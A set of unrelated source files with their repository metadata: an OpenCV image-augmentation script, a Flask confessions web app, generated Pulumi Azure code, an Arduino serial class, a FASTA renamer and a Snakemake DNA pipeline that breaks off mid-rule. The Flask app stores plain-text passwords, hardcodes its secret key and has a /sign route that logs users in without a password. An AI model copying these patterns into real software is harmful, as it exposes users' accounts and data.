import sys import cv2 as cv import numpy as np import random import matplotlib.pyplot as plt #draw circle def randint(min_int,max_int): return int(min_int + (max_int-min_int)*random.random()) def randi(min_int,max_int): lis = [] for i in range(len(max_int)): lis.append(randint(min_int[i], max_int[i])) return tuple(lis) def circle(img, a, c, r, color): img2 = img.copy() cv.circle(img2,c, r, color, -1) img3 = img*(1-a) + img2*a return img3 # 定义旋转rotate函数 def rotate(image1, angle, center=None, scale=1.0): k = 50 image = cv.copyMakeBorder(image1,k,k,k,k,cv.BORDER_REFLECT) # 获取图像尺寸 (h, w) = image.shape[:2] # 若未指定旋转中心,则将图像中心设为旋转中心 if center is None: center = (w / 2, h / 2) # 执行旋转 M = cv.getRotationMatrix2D(center, angle, scale) rotated = cv.warpAffine(image, M, (w, h)) # 返回旋转后的图像 out = rotated[k:(h-k), k:(w-k)] return out def randd(a, b): t = random.random() return t*(b-a)+a def rand_crop(img, a, b): h,w = img.shape c = b-a while(1): x1 = int(randd(0, c*w)) y1 = int(randd(0, c*h)) x2 = int(randd((1-c)*w, w)) y2 = int(randd((1-c)*h, h)) if y1>y2: y1,y2=y2,y1 if x1>x2: x1,x2=x2,x1 h1 = y2-y1 w1 = x2-x1 t = (h1*w1)/(h*w) if t>a and t<=b: #print(t, x1, x2, y1, y2) return img[y1:y2, x1:x2] def add_shader(img): img3 = img.copy() img3 = rotate(img3, randint(-10, 10)) img3 = rand_crop(img3, 0.8, 1) h,w = img3.shape k = 20 #img3 = img3[randint(0,k):h-k,randint(0,k):w-k] h,w = img3.shape #print(h,w) g = 10 k = 255 r = 0.5+0.5*random.random() img3 = circle(img3,0.1,randi([0,0],[w,h]), randi([50],[255])[0], randi([g,g,g],[k,k,k])) img3 = circle(img3, 0.1,randi([w*2/3,0],[w,h]), randi([10],[100])[0], randi([g,g,g],[k,k,k])) r = 3+2*int(random.random()*2) kernel = cv.getStructuringElement(cv.MORPH_RECT,(r, r)) if random.random()<0.5: img3 = cv.dilate(img3,kernel) else: img3 = cv.erode(img3,kernel) if random.random()>0.5: k = 1/(1+random.random()) else: k = 1+random.random() img3 = np.power(img3/float(np.max(img3)), k) return img3 def add_shader_neg(img): img3 = img.copy() if 0: img3 = rotate(img3, randint(-30, 30)) img3 = rand_crop(img3, 0.1, 0.6) if 0: t = randint(30, 360-30) img3 = rotate(img3, t) if 1: img3 = rotate(img3, 180) img3 = rand_crop(img3, 0.1, 1) img4 = img3.copy() kernel = cv.getStructuringElement(cv.MORPH_RECT,(3, 3)) img3 = cv.erode(img3,kernel) h,w = img3.shape k = 20 #img3 = img3[randint(0,k):h-k,randint(0,k):w-k] h,w = img3.shape #print(h,w) g = 10 k = 255 r = 0.5+0.5*random.random() img3 = circle(img3,0.1,randi([0,0],[w,h]), randi([50],[255])[0], randi([g,g,g],[k,k,k])) img3 = circle(img3, 0.1,randi([w*2/3,0],[w,h]), randi([10],[100])[0], randi([g,g,g],[k,k,k])) r = 3+2*int(random.random()*2) kernel = cv.getStructuringElement(cv.MORPH_RECT,(r, r)) if random.random()<0.5: img3 = cv.dilate(img3,kernel) else: img3 = cv.erode(img3,kernel) if random.random()>0.5: k = 1/(1+random.random()) else: k = 1+random.random() img3 = np.power(img3/float(np.max(img3)), k) return img3 #print(randi(img.shape)) #print(randi([255,255,255])) #cv.circle(img,(447,63), 63, (255,255,255), -1) if 0: img = cv.imread('E:/OCR_Line/demo_images/018.jpg', 0) #print(img.shape) #img = cv.cvtColor(img,cv.COLOR_BGR2RGB) img2 = cv.resize(img, (30,20),interpolation=cv.INTER_AREA) plt.subplot(221) plt.imshow(img, cmap=plt.cm.gray) plt.subplot(222) plt.imshow(img2, cmap=plt.cm.gray) img3 = add_shader(img); plt.subplot(223) plt.imshow(img3, cmap=plt.cm.gray) img4 = cv.resize(img3, (60,40),interpolation=cv.INTER_AREA) plt.subplot(224) plt.imshow(img4, cmap=plt.cm.gray) #plt.xticks([]) #plt.yticks([]) plt.show() if 0: img = cv.imread('E:/OCR_Line/demo_images/018.jpg', 0) for i in range(100): print(i) img3 = add_shader(img) img4 = cv.resize(img3, (60,40),interpolation=cv.INTER_AREA) img5 = (img4*255).astype(np.uint8); cv.imwrite("E:/OCR_Line/adaboost/pos/%05d.bmp" % i, img5) #plt.show() def readtxtlist(fn): flist=[] with open(fn,'r') as f: for line in f: flist.append(line.strip('\n')) return flist if 0: li = readtxtlist('./list.txt') for j in range(len(li)): img = cv.imread(li[j], 0) for i in range(50): print(j, i) img3 = add_shader(img) img4 = cv.resize(img3, (60,40),interpolation=cv.INTER_AREA) img5 = (img4*255).astype(np.uint8); img5 = cv.equalizeHist(img5) cv.imwrite("E:/OCR_Line/adaboost/pos/%02d_%05d.bmp" % (j, i), img5) #plt.show() if 1: li = readtxtlist('./list.txt') for j in range(len(li)): img = cv.imread(li[j], 0) for i in range(200): print(j, i) img3 = add_shader_neg(img) img4 = cv.resize(img3, (60,40),interpolation=cv.INTER_AREA) img5 = (img4*255).astype(np.uint8); img5 = cv.equalizeHist(img5) cv.imwrite("E:/OCR_Line/adaboost/neg4/%02d_%05d.bmp" % (j, i), img5) #plt.show() if 0: flist = readtxtlist('E:/www/news.ifeng.com/jpg/list.txt') #print(result) for i in range(len(flist)): fn = flist[i] print(fn) img = cv.imread(fn, 0) if img.shape(0)>10: img4 = cv.resize(img, (60,40),interpolation=cv.INTER_AREA) cv.imwrite("E:/OCR_Line/adaboost/neg/%05d.bmp" % i, img4)
[ "31720406@qq.com" ]
31720406@qq.com
e635cfe5a94a774b7cab354764b2bf54d830b1eb
4ad37c3a80265f9bf4fadaa796382057fd6334bd
/Heroku-Confessions-master/app.py
1261ae25d357201e6ff68ff679f32cbc9c9c17da
[]
no_license
gauravsingh13091990/web-app
919354292286c0e9ee52ae4d9be3273e4aea21c3
c40e38c3f868e063e4a20fb2263526fb46ebd5bd
refs/heads/master
2020-04-08T07:36:15.837614
2018-11-26T09:39:58
2018-11-26T09:39:58
159,144,700
0
0
null
null
null
null
UTF-8
Python
false
false
6,941
py
import os import sqlite3 from flask import * from flask_sqlalchemy import * from datetime import datetime from flask import send_from_directory from werkzeug.utils import secure_filename from sqlalchemy import update from sqlalchemy import desc app = Flask(__name__) # create the application instance :) app.config.from_object(__name__) # load config from this file , flaskr.py app.config['SQLALCHEMY_DATABASE_URI']='sqlite:///confessions.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS']=False app.secret_key = 'random string' UPLOAD_FOLDER = 'static' ALLOWED_EXTENSIONS = set(['jpeg', 'jpg', 'png', 'gif','txt','pdf','JPG']) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER db = SQLAlchemy(app) class Users(db.Model): __tablename__='users' password = db.Column(db.String(255)) email = db.Column(db.String(255),primary_key=True) name = db.Column(db.String(255)) phone = db.Column(db.String(255)) gender = db.Column(db.String(255)) Birthday = db.Column(db.String(255)) class Image(db.Model): __tablename__='images' title = db.Column(db.String(255)) desc = db.Column(db.String(255)) id =db.Column(db.Integer,primary_key=True) imagename = db.Column(db.String(255)) upvotes =db.Column(db.Integer) downvotes =db.Column(db.Integer) comment = db.Column(db.String(255)) class Like(db.Model): __tablename__='votes' likes_id =db.Column(db.String(255),primary_key=True) db.create_all() @app.route("/register",methods = ['GET','POST']) def registers(): if request.method =='POST': password = request.form['password'] password1= request.form['password1'] email = request.form['email'] name = request.form['name'] gender = request.form['gender'] Birthday = request.form['Birthday'] phone = request.form['phone'] if(password == password1): try: user = Users(password=password,email=email,name=name,gender=gender,Birthday=Birthday,phone=phone) db.session.add(user) db.session.commit() msg="registered successfully" except: db.session.rollback() msg="error occured" else: return render_template("layout.html",error1="password doesnot match") db.session.close() return render_template("layout.html",msg=msg) @app.route("/loginForm") def loginForm(): return render_template('layout.html', error='') @app.route('/') def layout(): return render_template("page1.html") @app.route("/registerationForm") def registrationForm(): return render_template("layout.html") @app.route("/login", methods = ['POST', 'GET']) def login(): if request.method == 'POST': email = request.form['email'] password = request.form['password'] if is_valid(email, password): session['email'] = email session['logged_in'] = True global x x = email return redirect(url_for('index')) else: error = 'Invalid UserId / Password' return render_template('layout.html', error=error) x="" @app.route('/index') def index(): if 'email' in session: email = session['email'] image1 = "SELECT * FROM images" data1 = db.engine.execute(image1).fetchall() data2=reversed(data1) return render_template('main.html',email=email,name=data2) return render_template('page1.html') def is_valid(email,password): stmt = "SELECT email, password FROM users" data = db.engine.execute(stmt).fetchall() for row in data: if row[0] == email and row[1] == password: return True return False @app.route("/write") def write(): return render_template('post.html') @app.route("/About") def about(): stmt = "SELECT * FROM users" data = db.engine.execute(stmt).fetchall() for confession1 in data: if(confession1.email==x): Name=confession1.name Email=confession1.email Birthday=confession1.Birthday gender=confession1.gender mobile=confession1.phone return render_template('about.html',Name=Name,Email=Email,Birthday=Birthday,gender=gender,mobile=mobile) @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': title = request.form['title'] desc = request.form['text'] # check if post request has file path if 'file' not in request.files: print ("return.............") flash('No file part') return redirect(request.url) file = request.files['file'] print (file) # if user does not select file, browser also # submit a empty part without filename if file.filename == '': flash('No selected file') return redirect(request.url) print("path doesn't know....") if file and allowed_file(file.filename): filename = secure_filename(file.filename) MYDIR = os.path.dirname(__file__) print ("Is saving.....", MYDIR) file.save(os.path.join(MYDIR + "/" + app.config['UPLOAD_FOLDER'] + "/" + filename)) return redirect(url_for('uploaded_file',filename=file.filename,title=title,desc=desc)) error="error occured" return render_template("post.html",error=error) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/uploads/<filename>/<title>/<desc>',methods=['GET', 'POST']) def uploaded_file(filename,title,desc): print (filename) ImagesAll = Image(imagename=filename,title=title,desc=desc,upvotes=0,downvotes=0,comment="comments goes here \n") db.session.add(ImagesAll) db.session.commit() return redirect(url_for('index')) @app.route('/votes/<xid>', methods=['GET', 'POST']) def votes(xid): xid=int(xid) s=x+str(xid) if request.method == 'POST': name = request.form['voted'] stmt=Image.query.filter_by(id=xid).all()[0] stmt2=Like.query.filter_by(likes_id=s).all() if(len(stmt2)==0): if(name =="like"): liked=Like(likes_id=s) db.session.add(liked) # db.session.commit() stmt.upvotes+=1 db.session.commit() return redirect(url_for('index')) else: liked=Like(likes_id=s) db.session.add(liked) stmt.downvotes+=1 db.session.commit() return redirect(url_for('index')) return redirect(url_for('index')) return render_template("page1.html") @app.route('/comment/<xid>', methods=['GET', 'POST']) def comment(xid): xid=int(xid) if request.method == 'POST': name = request.form['text'] if(len(name)>0): stmt=Image.query.filter_by(id=xid).all()[0] z=stmt.comment.replace('\n','<br>') s=z+"\n"+name s=s.replace('\n','<br>') stmt.comment=s db.session.commit() return redirect(url_for('index')) return redirect(url_for('index')) @app.route('/sign/<name>/<email>') def sign(name,email): try: user = Users(password=None,email=email,name=name,gender=None,Birthday=None,phone=None) db.session.add(user) db.session.commit() msg="registered successfully" except: db.session.rollback() msg="error occured" session['email'] = email session['logged_in'] = True global y y=email return redirect(url_for('index')) @app.route('/logout') def logout(): session['logged_in'] = False session.pop('email',None) x='' return redirect(url_for('index')) if __name__ =='__main__': app.run(port=5128)
[ "noreply@github.com" ]
gauravsingh13091990.noreply@github.com
bd7d1f6c3c40c8a80f51858712aabba6fcefb304
48e124e97cc776feb0ad6d17b9ef1dfa24e2e474
/sdk/python/pulumi_azure_native/storage/v20210401/list_storage_account_service_sas.py
7afff96cc0049e93f01fbcf87cda9dfb98dc0d89
[ "BSD-3-Clause", "Apache-2.0" ]
permissive
bpkgoud/pulumi-azure-native
0817502630062efbc35134410c4a784b61a4736d
a3215fe1b87fba69294f248017b1591767c2b96c
refs/heads/master
2023-08-29T22:39:49.984212
2021-11-15T12:43:41
2021-11-15T12:43:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
11,290
py
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities from ._enums import * __all__ = [ 'ListStorageAccountServiceSASResult', 'AwaitableListStorageAccountServiceSASResult', 'list_storage_account_service_sas', 'list_storage_account_service_sas_output', ] @pulumi.output_type class ListStorageAccountServiceSASResult: """ The List service SAS credentials operation response. """ def __init__(__self__, service_sas_token=None): if service_sas_token and not isinstance(service_sas_token, str): raise TypeError("Expected argument 'service_sas_token' to be a str") pulumi.set(__self__, "service_sas_token", service_sas_token) @property @pulumi.getter(name="serviceSasToken") def service_sas_token(self) -> str: """ List service SAS credentials of specific resource. """ return pulumi.get(self, "service_sas_token") class AwaitableListStorageAccountServiceSASResult(ListStorageAccountServiceSASResult): # pylint: disable=using-constant-test def __await__(self): if False: yield self return ListStorageAccountServiceSASResult( service_sas_token=self.service_sas_token) def list_storage_account_service_sas(account_name: Optional[str] = None, cache_control: Optional[str] = None, canonicalized_resource: Optional[str] = None, content_disposition: Optional[str] = None, content_encoding: Optional[str] = None, content_language: Optional[str] = None, content_type: Optional[str] = None, i_p_address_or_range: Optional[str] = None, identifier: Optional[str] = None, key_to_sign: Optional[str] = None, partition_key_end: Optional[str] = None, partition_key_start: Optional[str] = None, permissions: Optional[Union[str, 'Permissions']] = None, protocols: Optional['HttpProtocol'] = None, resource: Optional[Union[str, 'SignedResource']] = None, resource_group_name: Optional[str] = None, row_key_end: Optional[str] = None, row_key_start: Optional[str] = None, shared_access_expiry_time: Optional[str] = None, shared_access_start_time: Optional[str] = None, opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableListStorageAccountServiceSASResult: """ The List service SAS credentials operation response. :param str account_name: The name of the storage account within the specified resource group. Storage account names must be between 3 and 24 characters in length and use numbers and lower-case letters only. :param str cache_control: The response header override for cache control. :param str canonicalized_resource: The canonical path to the signed resource. :param str content_disposition: The response header override for content disposition. :param str content_encoding: The response header override for content encoding. :param str content_language: The response header override for content language. :param str content_type: The response header override for content type. :param str i_p_address_or_range: An IP address or a range of IP addresses from which to accept requests. :param str identifier: A unique value up to 64 characters in length that correlates to an access policy specified for the container, queue, or table. :param str key_to_sign: The key to sign the account SAS token with. :param str partition_key_end: The end of partition key. :param str partition_key_start: The start of partition key. :param Union[str, 'Permissions'] permissions: The signed permissions for the service SAS. Possible values include: Read (r), Write (w), Delete (d), List (l), Add (a), Create (c), Update (u) and Process (p). :param 'HttpProtocol' protocols: The protocol permitted for a request made with the account SAS. :param Union[str, 'SignedResource'] resource: The signed services accessible with the service SAS. Possible values include: Blob (b), Container (c), File (f), Share (s). :param str resource_group_name: The name of the resource group within the user's subscription. The name is case insensitive. :param str row_key_end: The end of row key. :param str row_key_start: The start of row key. :param str shared_access_expiry_time: The time at which the shared access signature becomes invalid. :param str shared_access_start_time: The time at which the SAS becomes valid. """ __args__ = dict() __args__['accountName'] = account_name __args__['cacheControl'] = cache_control __args__['canonicalizedResource'] = canonicalized_resource __args__['contentDisposition'] = content_disposition __args__['contentEncoding'] = content_encoding __args__['contentLanguage'] = content_language __args__['contentType'] = content_type __args__['iPAddressOrRange'] = i_p_address_or_range __args__['identifier'] = identifier __args__['keyToSign'] = key_to_sign __args__['partitionKeyEnd'] = partition_key_end __args__['partitionKeyStart'] = partition_key_start __args__['permissions'] = permissions __args__['protocols'] = protocols __args__['resource'] = resource __args__['resourceGroupName'] = resource_group_name __args__['rowKeyEnd'] = row_key_end __args__['rowKeyStart'] = row_key_start __args__['sharedAccessExpiryTime'] = shared_access_expiry_time __args__['sharedAccessStartTime'] = shared_access_start_time if opts is None: opts = pulumi.InvokeOptions() if opts.version is None: opts.version = _utilities.get_version() __ret__ = pulumi.runtime.invoke('azure-native:storage/v20210401:listStorageAccountServiceSAS', __args__, opts=opts, typ=ListStorageAccountServiceSASResult).value return AwaitableListStorageAccountServiceSASResult( service_sas_token=__ret__.service_sas_token) @_utilities.lift_output_func(list_storage_account_service_sas) def list_storage_account_service_sas_output(account_name: Optional[pulumi.Input[str]] = None, cache_control: Optional[pulumi.Input[Optional[str]]] = None, canonicalized_resource: Optional[pulumi.Input[str]] = None, content_disposition: Optional[pulumi.Input[Optional[str]]] = None, content_encoding: Optional[pulumi.Input[Optional[str]]] = None, content_language: Optional[pulumi.Input[Optional[str]]] = None, content_type: Optional[pulumi.Input[Optional[str]]] = None, i_p_address_or_range: Optional[pulumi.Input[Optional[str]]] = None, identifier: Optional[pulumi.Input[Optional[str]]] = None, key_to_sign: Optional[pulumi.Input[Optional[str]]] = None, partition_key_end: Optional[pulumi.Input[Optional[str]]] = None, partition_key_start: Optional[pulumi.Input[Optional[str]]] = None, permissions: Optional[pulumi.Input[Optional[Union[str, 'Permissions']]]] = None, protocols: Optional[pulumi.Input[Optional['HttpProtocol']]] = None, resource: Optional[pulumi.Input[Optional[Union[str, 'SignedResource']]]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, row_key_end: Optional[pulumi.Input[Optional[str]]] = None, row_key_start: Optional[pulumi.Input[Optional[str]]] = None, shared_access_expiry_time: Optional[pulumi.Input[Optional[str]]] = None, shared_access_start_time: Optional[pulumi.Input[Optional[str]]] = None, opts: Optional[pulumi.InvokeOptions] = None) -> pulumi.Output[ListStorageAccountServiceSASResult]: """ The List service SAS credentials operation response. :param str account_name: The name of the storage account within the specified resource group. Storage account names must be between 3 and 24 characters in length and use numbers and lower-case letters only. :param str cache_control: The response header override for cache control. :param str canonicalized_resource: The canonical path to the signed resource. :param str content_disposition: The response header override for content disposition. :param str content_encoding: The response header override for content encoding. :param str content_language: The response header override for content language. :param str content_type: The response header override for content type. :param str i_p_address_or_range: An IP address or a range of IP addresses from which to accept requests. :param str identifier: A unique value up to 64 characters in length that correlates to an access policy specified for the container, queue, or table. :param str key_to_sign: The key to sign the account SAS token with. :param str partition_key_end: The end of partition key. :param str partition_key_start: The start of partition key. :param Union[str, 'Permissions'] permissions: The signed permissions for the service SAS. Possible values include: Read (r), Write (w), Delete (d), List (l), Add (a), Create (c), Update (u) and Process (p). :param 'HttpProtocol' protocols: The protocol permitted for a request made with the account SAS. :param Union[str, 'SignedResource'] resource: The signed services accessible with the service SAS. Possible values include: Blob (b), Container (c), File (f), Share (s). :param str resource_group_name: The name of the resource group within the user's subscription. The name is case insensitive. :param str row_key_end: The end of row key. :param str row_key_start: The start of row key. :param str shared_access_expiry_time: The time at which the shared access signature becomes invalid. :param str shared_access_start_time: The time at which the SAS becomes valid. """ ...
[ "noreply@github.com" ]
bpkgoud.noreply@github.com
04eeebd05c2dbf3ebe636925fd43e2f9fc5dcfbe
15a9f47c159e9eb3be8b885022479aa23853ffc7
/bluefruit/Control Code/raspberryPi/connect.py
0d71a243d2740d699d2a2116cf4c166c00e60e7d
[]
no_license
faron323/Robot_App_V0_1
557578e52d6f0650c5b5b1073caebafa7b0ad075
25d1455069fd8059ced6dcc02afa3b8863ac63db
refs/heads/master
2020-04-12T10:12:56.027122
2019-08-08T01:25:13
2019-08-08T01:25:13
162,422,627
0
0
null
null
null
null
UTF-8
Python
false
false
1,167
py
import serial from serial.tools import list_ports import struct class Arduino(object): def __repr__(self): return self.name def __init__(self, name='Arduino', port='/dev/ttyACM0', baud=115200): self.name = name self.baudrate = baud ser_port = port try: self.ser = serial.Serial( ser_port, baudrate=baud, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, bytesize=serial.EIGHTBITS, timeout=1 ) except Exception as e: print(e) quit() def disconnect(self): try: self.ser.close() except Exception as e: print("failed to disconnect") print(e) def read(self, *args, **kwargs): input = self.ser.read() print(input) def write(self, data, **kwargs): try: try: self.ser.write(struct.pack('>B', data)) except Exception: self.ser.write(data.encode()) except Exception as e: print(e) exit()
[ "47199407+phillipili@users.noreply.github.com" ]
47199407+phillipili@users.noreply.github.com
74df9aba0e946cddf8c5deb57ab76399969b9081
ea2015881c18583a4295122f2e2c1d2dbd3e32f9
/_pipeline_scripts/NameChangers/Obsolete/1_3_2_reformFastaAt.py
bd85a8e86462822dee810d4e64c861fa8a9be8aa
[]
no_license
panchyni/PseudogenePipeline
ad0b210d943bfdc83da1eeb63c0d7dec2a8719ae
44a5bfd034dfd9b21808b6e6c5b789f141912c33
refs/heads/master
2021-01-11T15:54:57.514872
2017-04-17T21:13:16
2017-04-17T21:13:16
79,955,253
4
2
null
null
null
null
UTF-8
Python
false
false
660
py
#this script is designed to remove the decimals from At names in a fasta file #Created by: David E. Hufnagel on 5-7-2012 import sys inp = open(sys.argv[1]) #input file out = open(sys.argv[2], "w") #output file #print the unix command line that called this script out.write('#python %s\n'%(' '.join(sys.argv))) def FixName(old): if old.startswith("AT"): new = old.split(".")[0] return new else: return old for line in inp: if line.startswith(">"): newName = FixName(line[1:]) newLine = ">%s\n" % (newName) out.write(newLine) else: out.write(line) inp.close() out.close()
[ "panchyni.msu.edu" ]
panchyni.msu.edu
a1f83f8c8d3f544bcb99b66c3c2ff5c842e97bcd
76d941f2ea57882581f9b3c1b6049e60b72f64a3
/Snakefile
7ad9a868d35b93b3ef5f7a187eec25fd38b15925
[]
no_license
ACStoneLab/MitoPipe
c347a40104e899fcad2ff3e238f046d63f5cd903
59a316e9fc045549e66b37116ccd4a517b747691
refs/heads/main
2023-07-17T16:05:29.006776
2021-08-26T23:24:33
2021-08-26T23:24:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
14,285
import os.path import subprocess import json import csv configfile: "SampleList.test" current_dir = os.getcwd() + "/" sequence_fasta = current_dir+ "path/to/reference.fasta" # Enable or disable individual rules. run_rmdup_bams = True run_fastqc_original_samples = True run_fastqc_rmdup_bams = True run_mapdamage = True run_qualimap = True run_haplogrep = False run_haplocheck = False run_ind_mapping_report = True run_agr_mapping_report = True run_multiqc_report = False run_bam_to_fasta = False # folder paths samples = current_dir + "Data/samples/" merged_trimmed = current_dir + "Data/merged_trimmed/" aligned_mito = current_dir + "Data/aligned_mito/" bam_folder = current_dir + "Data/bams/" filtered = current_dir + "Data/filtered_bams/" q30 = current_dir + "Data/q30/" sort_to_left_dir = current_dir + "Data/sort/" rem_dups = current_dir + "Data/rmdup/" min35_folder = current_dir + "Data/min_35/" clipped_folder = current_dir + "Data/clipped/" fqc_folder = current_dir + "Data/fqc_samples/" fqctrim_folder = current_dir + "Data/fqc_trimmed/" md_folder = current_dir + "Data/mapdamage_reports/" hg_folder = current_dir + "Data/haplogrep/" hc_folder = current_dir + "Data/haplocheck/" rmdupf_folder = current_dir + "Data/rmdup_fasta/" qualimap_folder = current_dir + "Data/qualimap/" mapping_folder = current_dir + "Data/mapping_reports/" # app paths # leeHom = current_dir + "apps/leeHom/src/leeHomMulti" # schmutzi_endocaller = current_dir + "apps/schmutzi/src/endoCaller" leeHom = "leeHom" schmutzi_endocaller = current_dir + "apps/schmutzi/src/endoCaller" realign_sam_prg = current_dir + "apps/realign.jar" g_threads = 12 # gets all the files for our pipeline def get_files(): files = config["samples"] ids = [] for file in files: ids.append(file["id"]) return ids def target_files(): target_list = [] if run_rmdup_bams: target_list += expand(rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam", sample=get_files()) if run_fastqc_original_samples: target_list += expand(fqc_folder + "{sample}_{part}_001_fastqc.html", sample=get_files(), part=["R1", "R2"]) if run_fastqc_rmdup_bams: target_list += expand(fqctrim_folder + "{sample}_trimmed_merged_fastqc.html", sample=get_files()) if run_mapdamage: target_list += expand(md_folder + "{sample}/Fragmisincorporation_plot.pdf", sample=get_files()) if run_qualimap: target_list += expand(qualimap_folder + "{sample}/", sample=get_files()) if run_haplogrep: target_list += expand(hg_folder + "{sample}_trimmed_mapped_realigned_f4_q30_sort_rmdup_fasta_haplogrep.out", sample=get_files()) if run_haplocheck: target_list += expand(hc_folder + "{sample}_haplochecked", sample=get_files()) if run_ind_mapping_report: target_list += expand(mapping_folder + "{sample}_mapping_report.json", sample=get_files()) if run_agr_mapping_report: target_list.append(mapping_folder + "aggregated_mapping_report_mqc.tsv") if run_multiqc_report: target_list.append(current_dir + "Data/multiqc/") if run_bam_to_fasta: target_list += expand(rmdupf_folder + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.fasta", sample=get_files()) return target_list def mk_dirs(): #mk_dirs if they don't exist dir_list = [ merged_trimmed, aligned_mito, bam_folder, filtered, q30, sort_to_left_dir, rem_dups, min35_folder, clipped_folder, fqc_folder, fqctrim_folder, md_folder, hg_folder, hc_folder, rmdupf_folder, qualimap_folder, mapping_folder, ] for dr in dir_list: subprocess.check_output("mkdir -p " + dr, shell=True, text=True) def parse_leeHom(text): text = text.strip().split(";") parsed = { "total": text[0].split(" ")[-1], "merged_trim": text[1].split(" ")[-1], "merged_overlap": text[2].split(" ")[-1], "kept": text[3].split(" ")[-1], "trimmed_sr": text[4].split(" ")[-1], "adapter_dimers_chimeras": text[5].split(" ")[-1], "failed_key": text[6].split(" ")[-1], "umi_problems": text[7].split(" ")[-1], } return parsed def parse_markdup(text): text = text.strip().split("\n") parsed = {} for line in text: splitter = line.split(":") parsed[splitter[0].lower().replace(" ", "_")] = splitter[1].strip() return parsed def parse_qualimap(text): text = text.strip().splitlines() parsed = { "mean": -1, "std": -1, "reads": -1, } for line in text: if 'mean coverageData' in line: parsed["mean"] = line.split(" ")[-1] if 'std coverageData' in line: parsed["std"] = line.split(" ")[-1] if 'number of reads' in line: parsed["reads"] = line.split(" ")[-1] return parsed def parse_it(sample, trim_report, q_bam, qmapdir): trim_report = open(trim_report, "r") # mdup_report = open(mdup_report, "r") quality_bam = subprocess.check_output("samtools view -c " + q_bam, shell=True, text=True) if os.path.exists(qmapdir + "/genome_results.txt"): qmap_report = open(qmapdir + "/genome_results.txt") qmap_dict = parse_qualimap(qmap_report.read()) else: qmap_dict = parse_qualimap("") leehom_dict = parse_leeHom(trim_report.read()) #markdup_dict = parse_markdup(mdup_report.read()) trim_report.close() #mdup_report.close() parsed = { "sample": sample, "leeHom": leehom_dict, # "markdup": markdup_dict, "q30_bam": quality_bam.strip(), "qualimap": qmap_dict, } return parsed rule target: input: target_files() rule trim_merge: input: fastq1 = samples + "{sample}_R1_001.fastq.gz", fastq2 = samples + "{sample}_R2_001.fastq.gz" output: fastq = merged_trimmed + "{sample}_trimmed_merged.fq.gz", report = merged_trimmed + "{sample}_report.txt" params: threads = g_threads, forward_adapter = "AGATCGGAAGAGCACACGTCTGAACTCCAGTCAC", second_adapter = "AGATCGGAAGAGCGTCGTGTAGGGAAAGAGTGTA", sample = merged_trimmed + "{sample}_trimmed_merged", leeHom = leeHom shell: "{params.leeHom} -t {params.threads} -f {params.forward_adapter} -s {params.second_adapter} " "--ancientdna -fq1 {input.fastq1} -fq2 {input.fastq2} -fqo {params.sample} 2> {output.report}" rule index_ref: input: ref = sequence_fasta output: "sequence.fasta.amb", "sequence.fasta.ann", "sequence.fasta.bwt", "sequence.fasta.pac", "sequence.fasta.sa" run: shell("samtools faidx {input.ref}") rule alignment: input: fastq = merged_trimmed + "{sample}_trimmed_merged.fq.gz", ref = sequence_fasta output: sam = aligned_mito + "{sample}_trimmed_merged_mapped.sam" run: shell("bwa mem -t {g_threads} {input.ref} {input.fastq} > {output.sam}") rule awk_rm_softclip: input: sam = aligned_mito + "{sample}_trimmed_merged_mapped.sam", ref = sequence_fasta output: clipped = clipped_folder + "{sample}_trimmed_merged_mapped_clipped.sam" run: shell("samclip --ref {input.ref} {input.sam} > {output.clipped}") # shell: # """ # awk 'BEGIN {{OFS="t"}} {{split($6,C,/[0-9]*/); split($6,L,/[SMDIN]/); if (C[2]=="S") {{$10=substr($10,L[1]+1); $11=substr($11,L[1]+1)}}; if (C[length(C)]=="S") {{L1=length($10)-L[length(L)-1]; $10=substr($10,1,L1); $11=substr($11,1,L1); }}; gsub(/[0-9]*S/,"",$6); print}}' {input.sam} > {output.clipped} # """ # rule realign_sam_to_bam: # input: # sam = clipped_folder + "{sample}_trimmed_merged_mapped_clipped.sam", # ref = sequence_fasta # output: # bam = bam_folder + "{sample}_trimmed_merged_mapped_realigned.bam" # params: # elongate = 500 # run: # shell("java -jar {realign_sam_prg} -e {params.elongate} -i {input.sam} -r {input.ref};mv {aligned_mito}{wildcards.sample}_trimmed_merged_mapped_realigned.bam {bam_folder}") rule sam_to_bam: input: sam = clipped_folder + "{sample}_trimmed_merged_mapped_clipped.sam", output: bam = bam_folder + "{sample}_trimmed_merged_mapped_realigned.bam" run: shell("samtools view -@ {g_threads} -bSh {input.sam} > {output.bam}") rule read_filter_f4: input: bam = bam_folder + "{sample}_trimmed_merged_mapped_realigned.bam" output: filtered = filtered + "{sample}_trimmed_merged_mapped_realigned_f4.bam" run: shell("samtools view -@ {g_threads} -bh -F4 {input.bam} > {output.filtered}") rule min_35: input: filtered = filtered + "{sample}_trimmed_merged_mapped_realigned_f4.bam" output: filtered = min35_folder + "{sample}_trimmed_merged_mapped_realigned_f4_min35.bam" run: shell("samtools view -@ {g_threads} -h {input.filtered} | awk 'length($10) > 30 || $1 ~ /^@/' | samtools view -bS - > {output.filtered}") rule read_filter_q30: input: filtered = min35_folder + "{sample}_trimmed_merged_mapped_realigned_f4_min35.bam" output: quality = q30 + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30.bam" params: filter_amount = 30 run: shell('samtools view -@ {g_threads} -bh -q {params.filter_amount} {input.filtered} > {output.quality}') rule sort_to_left: input: quality = q30 + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30.bam" output: sort_to_left = sort_to_left_dir + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort.bam" run: shell("samtools sort -@ {g_threads} {input.quality} -o {output.sort_to_left}") rule remove_duplicates: input: sort_to_left = sort_to_left_dir + 